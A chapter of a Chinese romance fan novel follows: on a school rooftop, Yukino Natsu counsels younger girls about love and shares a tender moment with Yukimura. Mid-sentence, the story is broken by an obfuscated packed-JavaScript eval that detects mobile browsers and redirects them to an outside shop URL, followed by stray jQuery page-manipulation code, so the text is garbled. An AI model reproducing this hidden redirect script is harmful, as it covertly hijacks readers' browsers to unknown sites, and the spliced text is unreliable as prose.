11. 向云端

作品:《恋爱记事簿:网球部!

    上午最后一节下课铃响后,便是午休时间,雪野夏带着便当和书走向教学楼天台。


    这是她最近发现的另外一个好地方,比教学楼古树下的那块地还要安静,而且视野开阔,可以看见远处的海和整个校园。


    最重要的是,初夏将至,天气热起来后,这里很少有人来。


    推开天台的门,风立刻扑面而来。五月底的风已经很暖了,带着植物生长的气息。


    雪野夏走到水塔旁的阴影处坐下,打开便当盒。


    早上起来要晨跑,便当一般是前一天昨晚做的,都是写简单上手省时间的菜式。梅子饭团,玉子烧,焯过水的西兰花。


    吃完便当,她收起便当盒,开始看带来的小说。


    是阿加莎·克里斯蒂的《东方快车谋杀案》,邻座的柳生比吕士推荐的。


    由于是邻桌的关系,加上她总觉得对柳生有种莫名的亲切感,便偶尔在课间会找他聊天。


    柳生是学生会主席,同时还是网球的正选,不是在处理学生会事务就是去网球部训练。只有课间的休息时间,他会看一些小说之类。


    他看的大多是侦探推理相关的书,有次雪野夏课后趴在桌上无聊,找他借书看,当时他刚看完东野圭吾的《回廊亭杀人事件》,顺手递给她。


    薄薄的一本书,故事很短,但精彩绝伦。


    看完后,雪野夏仿佛感受到了推理小说的乐趣,又找他推荐同类型的书。


    “如果你想了解人心的复杂,可以从这本书开始。”他说完,写了一个书名递给她。


    雪野夏翻到下一章,正读到波洛开始讯问乘客时,天台的门又被推开了。


    三个女生走了进来。雪野夏余光撇了一眼,认出她们都是一年级的学妹,经常在图书馆看到。


    她往水塔后挪了挪,不想被打扰。


    “一江同学,你真的要这么做吗?”一个戴着眼镜的女生担忧地问。


    被称作一江的女生扎着栗色马尾,手指绞在一起:“我不知道……我真的不知道……”


    “要我说,就选学长。”另一个红发女生果断地说,“宏彦那种渣男,有什么好留恋的?”


    “可是……”一江的声音带着哭腔,“我和宏彦认识十几年了,从幼儿园就……”


    “十几年又怎样?”红发女生打断她,“他劈腿的时候想过你们青梅竹马的情分吗?”


    雪野夏大概听明白了,是感情问题。她觉得听墙角不太好,本想悄悄离开,但已经来不及了。三个女生就在她隔壁坐下,开始了一场关于“如何选择”的讨论。


    三人争论了十多分钟,也没有得出结论。


    “如果两个人都让你痛苦,”雪野夏忍不住开口,“那为什么非要选一个呢?”


    三个女生吓了一跳,这才发现水塔后还有人。


    “雪、雪野学姐?”戴眼镜的女生认出她。


    “抱歉,我不是故意偷听的。”雪野夏合上书,看向一江,也就是那个扎着栗色马尾的女生。


    “我只是觉得,如果这两段感情带来的痛苦都多于快乐,那也许就该考虑第三种选择。”


    “第三种选择?”


    “比如,暂时谁也不选。”雪野夏平静地说,“多给自己留一些时间,想清楚自己真正想要什么。”


    一江怔怔地看着她:“可是……我怕错过……”


    “会错过的,或许本来就不是真正属于你的。”雪野夏目光温和,“真正珍惜你的人,不会让你活在‘错过’的忐忑里。他会在看见你犹豫和不安的时候,默默陪在你身边,陪你一起找到答案。”


    三个女生沉默了很久。


    风从天台吹过,带来远处棒球场的声音。


    “学姐,”红发女生突然问,“如果喜欢上一个……好像永远也够不到的人,该怎么办呢?”


    雪野夏的心轻轻一颤。


    不知怎的,眼前倏然浮现出幸村的模样。想起海边写生时,他摸她头的那一秒钟。


    沉默片刻,她才开口:


    “如果确定不会有结果,就把这份喜欢好好收在心里。让它成为让前行路上的光,而不是困住自己的锁链。”


    “可是……那样不会很痛苦吗?”


    “我想,那一定会很痛苦。”雪野夏笑了笑。


    “但痛苦总会过去的,而曾经那样认真喜欢一个人的心情……将来回想起来,一定会是记忆里很温柔的一部分。”


    三个女生似懂非懂地点点头。又聊了一会儿,她们起身离开。


    “谢谢你,学姐。”一江鞠躬,“我会好好考虑的。”


    “加油。”雪野夏微笑。


    天台再次安静下来。


    雪野夏靠着水塔,静静望向远处的海平面。她刚才说的那些话,其实也是对自己说的。


    喜欢幸村吗?


    是的,喜欢。


    可能在一起吗?


    她不知道。


    但她知道,这份喜欢让她开始改变。她开始愿意走出门,开始尝试融入社团,开始主动和班上的同学交流。


    这份喜欢,像是推开了一扇窗,让她看见了更明亮、也更向往的自己。


    “很温柔的回答呢。”


    熟悉的声音从水塔上方传来。


    雪野夏吓了一跳,蓦地抬头——


    幸村精市坐在水塔边缘,垂眸望向她。他背对着光,面容轮廓有些模糊,但她能感觉到,他在笑。


    风拂过他深蓝的碎发,发梢微微扬起。他的身后,是铺展到天际线的辽阔无垠的晴空。


    云絮缓慢游移,而他坐在那里,从容得像这片天空的主人。


    那一瞬间,雪野夏忘记了呼吸。


    他看起来那么近,却又那么远。仿佛伸手可触,却又像隔着凡人与神明的距离。


    在她漆黑微怔的瞳孔里,那位“神明”忽然动了。


    他撑着手臂,踩着生锈的铁梯,从神坛上一步一步走下来,直到停在她面前。


    然后,他屈膝蹲下来。视线与她平齐。


    “幸、幸村君……?”雪野夏看着骤然逼近的脸,呼吸一滞,耳根瞬间烧了起来,连说话都变得磕绊,“你、你怎么会……”


    “这里算是我的秘密基地。”幸村眨了眨眼,笑意很轻,“本来想在这儿看会儿书,不小心睡着了。醒来刚好听见你们的对话。”


    雪野夏的耳根烫得有点疼。


    所以,她刚才说的那些话,他都听见了?


    “抱歉,不是故意偷听。”他的声音温和,带着一点点刚睡醒的微哑,“只是那种时候突然出现,好像反而会更尴尬。”


    “……嗯,我明白。”雪野夏小声应道,目光不由自主落在他脸上。


    ——好近。


    这个距离,她能看清他根根分明的睫毛,能闻到他衣领间干净的、像被阳光晒过的淡淡气息。


    他蹲着的姿态放松又自然,和此刻的她完全不一样——心跳失序,连指尖都在微微发麻。


    幸村在她旁边蜷腿坐下,另一条腿随意伸展,中间隔着点距


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001318|193954||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    离。风从他们之间穿过,掠起两人耳畔的发丝,暧昧地纠缠在一起。


    “你刚才说,”幸村轻声问她,“喜欢一个人的心情,会成为记忆里温柔的部分?”


    “嗯。”


    “即使没有结果?”


    “即使没有结果。”雪野夏肯定地说,“因为喜欢本身,就是一件美好的事。”


    幸村指尖抵着下巴,思忖片刻后,然后说:“喜欢一个人的心情,确实是很美好呢。”


    他翻开手里的诗集,是宫泽贤治的《不畏风雨》。书页有些旧了,边缘微微发黄。


    “我听雾岛桑说,你们文学部最近在做《青春记事》专题。”幸村又切入到另一个话题。


    “嗯。”


    “是个什么样的企划?”


    “就是把对青春的看法写下来,故事、感想、诗歌,什么都行。”


    “很像写日记呢。”幸村说。


    “其实还是不一样的,日记内容可以天马行空,含蓄或直白都可以。但这个企划,还要求有一定的文学性。”


    “比如,喜欢一个人,不能直接写‘喜欢’,而是要写看海时会想起她的侧脸,画画时会不自觉地用她喜欢的颜色,训练累了的时候,想起她的笑容就会重新有力量。”


    “对,就是这样。”雪野夏转眸,刚想夸他一点就通,却见他目光静静地落在自己脸上。


    她的心跳莫名快了一拍。幸村的眼神很温柔,像春日午后的阳光,温暖但不刺眼。


    “怎、怎么这样看着我……”


    幸村没有移开视线,只是声音更轻了些:“夏觉得是为什么呢?”


    雪野夏一怔,心跳的更厉害了。她指尖无意识地蜷了蜷,耳尖漫上淡绯。


    “是、是因为我脸上沾了什么吧?”她说着,抬手在脸颊边虚虚一抹。


    “没有哦。”幸村笑意浅浅,眼底的波光更深了些,“夏的脸很干净哦。”


    他顿了顿,仿佛在耐心等待湖面的涟漪平复,才继续用那种不疾不徐的语调说:“如果按照你们文学部的标准,我刚才举的那个例子,能得多少分。”


    问题抛了回来,裹着一层温柔的茧。雪野夏感到心跳在耳畔鼓噪,像被风卷起的叶,忽上忽下。


    “这……”


    她语塞,感觉自己像是站在夏夜的沙滩上,潮水毫无预兆地漫到脚边。退无可退,但又不会真正将她淹没。


    在她心跳如鼓、说不出话的几秒里,天台的风忽然大了起来,吹得发丝凌乱,几缕贴进了眼睛。


    雪野夏下意识眯起眼,感觉到温暖的触感掠过太阳穴,轻擦过耳廓,将遮住视线的头发轻轻拨开。


    她睁开眼睛时,幸村已经站起身。


    “下午还有点事,我先走了。”


    他自上而下地垂眸看她。身后是一望无垠的蓝天与流云。


    她仰着脸,“嗯。”


    幸村走到天台门口,忽然回过头。


    “对了,下个月的友谊赛,你会来吧?”


    “会的。”


    他站在门边,声音同他的人一样温和:


    “那么……比赛结束后,我有话想跟你说。”


    说完,他推门离开。


    雪野夏一个人坐在天台上,很久很久。手里还拿着《东方快车谋杀案》,但一个字也看不进去。


    水塔的影子移动了方向。


    风吹过,带来远处上课的预备铃声。雪野夏收拾好东西,慢慢走下楼梯。


    脚步虚浮,像是踩在云朵上。